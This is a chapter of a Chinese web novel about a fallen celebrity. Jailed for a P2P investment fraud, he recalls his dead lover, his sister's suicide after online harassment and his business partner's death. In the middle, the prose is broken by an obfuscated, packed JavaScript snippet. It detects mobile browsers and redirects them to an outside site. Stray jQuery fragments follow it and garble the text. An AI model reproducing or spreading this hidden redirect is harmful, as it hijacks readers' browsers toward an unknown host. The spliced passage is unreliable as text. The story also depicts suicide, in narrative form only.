出道的第三年，小有名气的楚州行接受了一个时尚杂志的专访。
按照杂志社的要求，楚州行需要对着镜头，向十年后的自己真情“告白”，录制一封送给十年后自己的“视频情书”。
那天，文字编辑让楚州行幻想一下十年后的自己：
取得哪些成就？
梦想实现了吗？老了吗？这些年开心吗？有什么遗憾？
十年后杂志方会重启视频，届时杂志方会再次邀请楚州行，让十年后的他与现在的自己“跨时空”对话，镜头会记录下这十年的变化。
包括楚州行在内的所有被访者都坚信，哪怕再过十年，他们依然笑傲娱乐圈，只会变得更好。
镜头下的楚州行年轻英俊。
唇薄形美，嘴角自然上扬，眉目间浮动着淡淡的傲气。他十指交叉，翘着腿，呈现思索姿态。
当十年后，他回忆起自己的前半生——
.
楚州行的前半生也没什么好说的。
——当明星、坐牢、刑满释放回家乡种橙子。
两鬓斑白的楚州行回想起来，只有水一般平静。
偶尔他也会想起亿卿。
恨她吗？楚州行也不知道。
坐完牢，他替亿卿去看望了张默默。那个沉默寡言的女人在老家开了间花店，生意不好不坏。
凌晨四点，楚州行看到她蹲在婚车旁装裱鲜花，累得直不起腰。
她的店里只放亿卿的歌。凌晨的小镇湿漉漉的，空气都带着一股潮味，她好似浸在水中，小声哼唱着，一首《挚爱》循环了一遍遍。
亿卿就被她装在一个密封的陶瓷罐子里，摆放在柜台上，紧挨着招财猫。
楚州行跟张默默聊了会天，又无话可说。
亿卿还活着的时候张默默就不喜欢楚州行，她不喜欢楚州行的野心勃勃、笑里藏刀。
她跟楚州行聊天也只聊亿卿，活着的亿卿、死掉的亿卿。
她告诉楚州行，亿卿刚死，一堆乱七八糟的远亲就像苍蝇一样叮上来，想要瓜分她的遗产。他们扯皮推诿，没人肯不拿钱就帮亿卿操办丧事，他们找了很多律师、公证人，到处闹。
闹众星，开直播、骗粉丝，却把亿卿一直停在殡仪馆。
她想把亿卿带走，他们冷嘲热讽把她赶走，“你算什么东西！”
后来，楚州行被捕，亿卿也被清算，遗产根本不够赔偿款，那些远亲又一哄而散，张默默这才把亿卿烧成一把灰，装进罐子里带回家。
亿卿除了一具尸体没给张默默留下任何东西，她被搜索引擎骗了。自杀，保险公司一分都不会赔。
张默默还是很辛苦地活着。
不过，张默默很知足，至少亿卿就在身边，她一伸手就能摸到。
亿卿从小镇走出去，她发誓永不回那个落后封闭的家乡，最后，她留在另一个陌生的小镇。
楚州行挺羡慕亿卿的。
张默默告诉他，等她死了就跟亿卿埋在一个坟里，到时候两人永不分离。
永不分离。
楚州行想到了纪敏嘉，那个被他埋在帝都最贵私人墓地里的前男友。
曾经，楚州行拥有两块墓地。
那两块墓地风水很好，紧紧挨着。
当楚州行准备把纪敏嘉下葬时，私墓管理经理却告诉他，他买的墓地，只有直系亲属才有入葬资格。
他和纪敏嘉除了亲过、抱过，没有法律上的任何关系。
楚州行窥探记忆中的自己，仿佛在看一个完全陌生的人。过去的他年轻气盛，被白纸黑字的条款刺激得双目血红，他恨极了，死死盯着那个可怜的经理，一副要把对方生吞活剥的架势。
怒到极限的那句“你等着！”直至今日，还一遍遍响在耳膜处，时时刻刻提醒他，这世上有太多的有心无力。
记忆里的楚州行还是妥协了，将一个名额转赠给死去的“纪敏嘉”，让纪敏嘉以“陌生人”的身份沉睡着，等着他。
如今，楚州行再想起经理那张皱皱巴巴的哭脸，就只有感激。
属于楚州行的墓地被依法拍卖了，帝都有钱人太多了，很快它就找到了新买主，纪敏嘉有了新邻居。
楚州行心里酸得发胀，想哭，又庆幸。
幸好纪敏嘉的安息之地没挂在他名下，否则，楚州行不知道管理方会不会把纪敏嘉挖出来、丢掉。
那时他在坐牢，纪敏嘉又没有家人，就算把他丢掉，也不会有任何人在意。
他把纪敏嘉挖出来了一次，万万不能被挖第二次。
幸好，老天保佑。
顶级私墓配备最好的安保团队，作为“陌生人”的楚州行没资格进去拜祭。
六百万的坟墓对于现在的他是个天文数字，种橙子的这些年他也赚到了百万，只是这些钱很快就会被银行划走，用以偿还债务。
楚州行很清楚，这辈子，他都不可能再回到纪敏嘉身边。
想到这，楚州行右臂一阵连续的刺痛，他用力握紧拳，抵抗着习惯的痛苦。
他努力去想更好的事情。
——妹妹埋在老家祖坟里，以后他也是要埋进去的。
作为兄长，他很失败。
他被捕的消息传出，大量路人、黑粉人/肉出他所有亲眷，其中就有他的亲妹妹，在KTV陪酒的楚遥。
各种污言秽语轰炸楚遥的手机，她的所有经历被扒出来，各种真的假的“片子”四处流传，各种“知情人”爆料，从“一晚两千块”到“一家都是卖的”......
楚遥的电话被打爆，幸好，在第一条辱骂短信送达她手机时，楚遥就找了鞋带，将自己吊死在家里。
死前的三个小时，楚遥还给他发短信，说她会给他找靠谱的律师，让他不要害怕。
但她还是死了。
后来，楚州行的粉丝帮忙收敛楚遥的尸首。
粉丝委托律师给看守所里楚州行带去妹妹死讯。
粉丝告诉楚州行，楚遥吊得很矮，双腿拖在地上，其实只要她站起来就不会死了。
楚遥成功地克制求生的欲/望。
楚州行永远记得那一刻，好像身边的氧气被全部抽光，他在呼吸，眼睛却看不到任何东西，他眼睁睁看着面前的世界一点点变黑。
看守所里的楚州行沉默很久，低着头，没人看清他的表情，只听见他说：“死了，也好。”
楚遥，不用害怕了。
哥会来陪你的，咱们一家人在阴曹地府再团聚吧。
这些年，楚州行一直很努力地赚钱还债，无论纪敏嘉、楚遥还是亿卿在他的记忆里都变得模糊，他快想不起他们的模样了。
他记得纪敏嘉有一双很漂亮的眼睛，会崇拜地望着他，纪敏嘉的呼吸很温柔，喜欢贴在他肩膀上，小心地搂住他的腰。那时候他们很穷，每天很早就要出门，楚州行会给纪敏嘉戴头盔，他仰着脸，脉脉地看向他。
妹妹化妆喜欢鲜艳的口红，嘴巴涂得很夸张，多说她几句，她就会大喊大叫，“你不要管我！”她穿着高跟鞋，跑得很快，像一道藏在记忆里的血色幽魂，每次楚州行睡不着，她就会从记忆里闪现。
楚州行看不清她的样子，喊她，她头也不回。
亿卿临死前癫狂的邀请：“我们一起跳吧。”每个阴雨天，电闪雷鸣，她都要在楚州行的梦再跳一次。
监狱的十五年，楚州行倒是时常想念他们。
一想到纪敏嘉就觉得痛。
楚州行被捕后，他的律师建议他做出一番陈述，如同亿卿恶意揣测的那样，他可以把罪责推到亿卿头上，是亿卿以欺瞒手段鼓动他加入的。他并没有参与实际经营，运作得当确实可以少判几年。
可上了法庭，面对法官问责，他还是说：“我认罪。”
楚州行知道以后他一定会为今日冲动后悔，但此刻，他不想流眼泪也不想狡辩。
这么多媒体对着他狂拍，闪光灯轰炸，把神圣法庭都照得发白，楚州行只觉得眩晕，就好像他还站在舞台上。
亿卿已经死了！一个死人不会反驳他，可他为什么一定要把她拉出来鞭尸！
他胸中燃着一把火，越是痛苦就越要不在意。
明明妹妹上吊消息传来，他很想顺着网线把那些人.肉.侮.辱楚遥的人通通捅死！
可他还是保持了冷漠。
他要微笑，要干净整洁，他要笑着认罪，他不会让那群讨厌他的人兴奋，他要自己从表情到头发丝都无可挑剔，他要让那群看热闹的人失望！
媒体是鬣狗，盯着他的血/肉狂欢，他们围追堵截，围捕他，一遍遍戏耍、扯开他的伤口。
他们围观他流血，楚州行唯一能做的，就是维持最后的体面，做个演员演好大众视线下最后一幕戏。
法庭上，他努力伸直双手，带着镣铐，迎着刺眼的灯光，“我，认罪。”
监狱里的生活并没有亿卿想象得那么可怕。
他们这些金融罪犯关在一个特殊的监狱里，每日工作就是帮忙给政府、企业做账，也算不上辛苦。吃的也不错，每天三菜一汤，还有水果。
偶尔楚州行还会参加狱中的管弦乐队，逢年过节他们都会组织排练节目。
他在监狱里也交到了几个朋友，一个职务侵占罪被判十年的区域经理，一个贪污罪进来的国企副总。
他们时常会感慨：“楚老弟，你高中学历，没事学人家玩什么普惠金融？你什么都不懂啊！去试水不懂的行业，最后都是直接落网啊！”
也会酸溜溜地吐槽：“这社会真特么畸形，我寒窗苦读到博士，溜须拍马背黑锅，最后捞得还没你代言费多。”
沦落如此处境，能怪谁？怪亿卿为了谈判筹码拉他下水？
只能怪他太贪了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691005|173344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
狱中，没有接不完的剧、也没有录不完的节目，楚州行终于有时间读书了，狱警也鼓励他们多读书。
楚州行读了很多书，终于弄懂了什么是P2P，第一次直观感受到金钱涌动下的惊心动魄。
以前的他只管拿钱，他只知道祥太创投很赚钱，至于公司怎么运营？靠什么盈利？他一概不知。
弄清楚了一切，他又去主动了解“祥太案”的被害人们。
有被骗光全部养老金的老年夫妇，有借遍了亲戚钱搞“投资”的年轻人，更多是信任他去投资的粉丝们.
“祥太案”被害人人数众多，还有更多的被害人法院无法送达、无法登记。
他引以为傲的、带给他尊严和新生的祥太创投，坑害了无数人。
楚州行变得沉默。
朋友们在狱中经常哭泣，他们接受不了身份落差，有时他们也会问楚州行：“楚老弟，你为什么不哭？”
从光鲜亮丽，坐拥无数粉丝，分分钟可以赚上百万的大明星到人人喊打、失去自由的阶下囚，他应该是痛苦的。
痛苦？
当然会痛苦。
刚被关的那半年，楚州行时常想起亿卿的邀请。
想到亿卿，他就会想到她涨红眼睛，扯着他的衣领疯狂嘶吼：
“你再信我一次，我一定会带你发财！只要这次成功了，你就不用陪那群老东西喝酒了！”
“你知道我名声不好听，他父母看不起我，我必须做出点成绩让他家人接纳我，错过他我再也找不到这样多金又有本事的男人了！我求求你，帮帮我！我们是朋友，你必须帮我！”
“把钱投进来，只要一年，我们就是资本！”
亿卿许诺的豪言壮语、伸手问他要钱的姿态、一袭红裙主持祥太创投上市的敲钟仪式。
最终，所有的光鲜靓丽全部扭曲为乱糟糟的杂影。无数声音绕着楚州行，质问他：
——什么时候还钱？
——你把我辛辛苦苦存了一辈子的钱藏哪去了？
——把钱还给我！
楚州行控制不住地恐惧，恨她。
梦里，亿卿还敢质问楚州行：“你什么都没有了，为什么还不肯死？”
醒来，他告诉自己。
活着才有希望。
他还活着，那些被害人才有希望。
做错事的人，不能都跳了。
坐完牢出来再创业是很困难的事，银行不敢贷款，投资人也不敢预支货款。
大城市留不下来，楚州行回了家乡，当地乡政府接纳了他这个“罪人”，给他担保，帮他贷/款，他和他的祖祖辈辈一样，在家乡种起了橙子。
曾经他满怀希望，抱着摆脱贫穷改变家庭命运的决心来到帝都，他对自己说：我不要一辈子都在山上。
后来，楚州行告诉自己，不管遇到怎样的痛楚，遭受如何羞/辱，都要一直活下去，活到不能活了。
种橙子的七年，他有很多东西要重新学，他总是很忙，忙到忘记去回忆，只有右臂连绵的刺痛提醒着他，曾有一双眼睛温柔地注视他。
有一个人曾经属于他。
一个暴雨天，那个人跪在地上，乞求他不要离开。
轰隆。
打雷了。
听到雷声，哪怕是深夜，楚州行也能第一时间在黑暗中睁开眼。
他迅速披了件衣服，推开门，先去检查仓库大门有没有锁紧，秋雨凉透，仓库堆满了今年的收获，马虎不得。冒着雨，楚州行仔细检查仓库四周摄像头，这才放心回屋子。
他的住所是一间小屋，只有一张桌子、一张椅子、一张床、一个电水壶，一个写了大半的笔记本。
屋子阴湿，下雨天屋子里的家具都裹着水汽，楚州行没法继续睡。
站在窗子边，望着窗外大雨，隔着玻璃窗，楚州行手臂痛得宛若针扎，他侧身倚着墙，以此为支撑。
这些年楚州行睡得越来越晚，醒得越来越早。他不知道活着的意义，也感受不到任何活着的乐趣。
但他还活着，似乎还能活很久。
他余下的人生，没有喜怒哀乐、兴趣爱好，就只有一件事需要完成：还债。
黑暗里的云层密不透风，完完全全挡住月光，楚州行伸手捂住脸，瘦削的脊骨撑着衣服，伶仃潦倒。
疼得厉害，也不知道是痛得看不见了，还是天太黑没有光，楚州行眼前一片漆黑。
缓了好久，那种入骨缠绵的刺痛依然刮在他的骨髓里，楚州行摸着去找抽屉里的止痛药，恍惚间，他似乎听到有人说：
“楚哥——我借到钱了！”
熟悉又陌生的声音，飘忽不定，似乎就在面前，在他身边。
楚州行努力睁大眼，黑暗中，他伸出手，试着去触碰、去辨别。
他好像......真的摸到了什么。